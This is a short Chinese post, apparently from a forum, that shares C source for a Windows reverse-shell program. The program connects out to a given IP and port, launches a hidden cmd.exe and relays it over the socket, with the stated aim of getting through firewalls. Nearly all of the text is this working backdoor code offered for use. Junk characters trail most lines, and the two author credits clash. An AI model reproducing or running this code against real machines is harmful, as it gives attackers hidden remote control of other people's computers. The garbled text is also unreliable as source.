这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @prG%vb"
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/* ============================== AC
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Rebound port in Windows NT GV)<Q^9
By wind,2006/7 A^ _a3$,0
===============================*/ OA:%lC!
#include jENr>$$
#include O8|5KpXd@
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#pragma comment(lib,"wsock32.lib") hS[yNwD
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void OutputShell(); J};z85B
SOCKET sClient; HL/bS/KX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uE[(cko
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void main(int argc,char **argv) LG~S8u
{ Cv$
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WSADATA stWsaData; 9Rm/V5
int nRet; f<+4rHT
SOCKADDR_IN stSaiClient,stSaiServer; ^gVT$A
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if(argc != 3) th6+2&B6
{ Qn ^bVhG+
printf("Useage:\n\rRebound DestIP DestPort\n"); iv phlw
return; n~g)I&
} 9Rek4<5
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7&KT0a*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2tROT][J%
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stSaiClient.sin_family = AF_INET; aNyvNEV3C
stSaiClient.sin_port = htons(0); t}v2$<!I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); izKfU?2]X@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,!V]jP)
{ /(O$(35
printf("Bind Socket Failed!\n"); gPAX4'
return; {;2vmx9
} ]"c+sMW
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stSaiServer.sin_family = AF_INET; "NRDNqj(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tbnH,*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~gz^Cdh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bl9jkq
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{ iHf-{[[Z
printf("Connect Error!"); {pb>$G:gfx
return; =AVgIv
} ~&\ f|%
OutputShell(); a[lY S{
} x8;`i$
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void OutputShell() b3wM;jv
{ mMMQ|ea
char szBuff[1024]; o]IjK
SECURITY_ATTRIBUTES stSecurityAttributes; #,{+3Y&5-+
OSVERSIONINFO stOsversionInfo; ^m_yf|D$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nm7;ieMfr
STARTUPINFO stStartupInfo; bCZ gcN
char *szShell; $A3<G-4O
PROCESS_INFORMATION stProcessInformation; zqDR7+]
unsigned long lBytesRead; do uc('@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z} '! eCl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2oJb)CB
stSecurityAttributes.lpSecurityDescriptor = 0; ^-FRTC
stSecurityAttributes.bInheritHandle = TRUE; |[9?ma
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WvHw{^(lF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (HoqR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g'];Estb~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9 2MTX
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stStartupInfo.wShowWindow = SW_HIDE; '8Phxx|
stStartupInfo.hStdInput = hReadPipe; |*RYq2y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @\&m+;6
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GetVersionEx(&stOsversionInfo); S osj$9E
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switch(stOsversionInfo.dwPlatformId) 10#oG{9
{ VL'
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case 1: \D>$aLO*?
szShell = "command.com"; MxzLK%am
break; T]Nu)
default: ?^:h\C^a"
szShell = "cmd.exe"; b|SE<\
break; K
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} &rDM<pO #-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LJX-AO.4
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send(sClient,szMsg,77,0); g+-;J+X8
while(1) I ];M7
{ ylKmj]A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #k3t3az2{
if(lBytesRead) 1Y_w5dU
{ +h2eqNr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -/]W+[
send(sClient,szBuff,lBytesRead,0); t>B^q3\q?
} c`x7u}C
else ?j^=u:<
{ ]a2W e`
lBytesRead=recv(sClient,szBuff,1024,0); E1;@=#t2i
if(lBytesRead<=0) break; q_
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} (wc03,K^
}
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return; >pkT1Z&'
}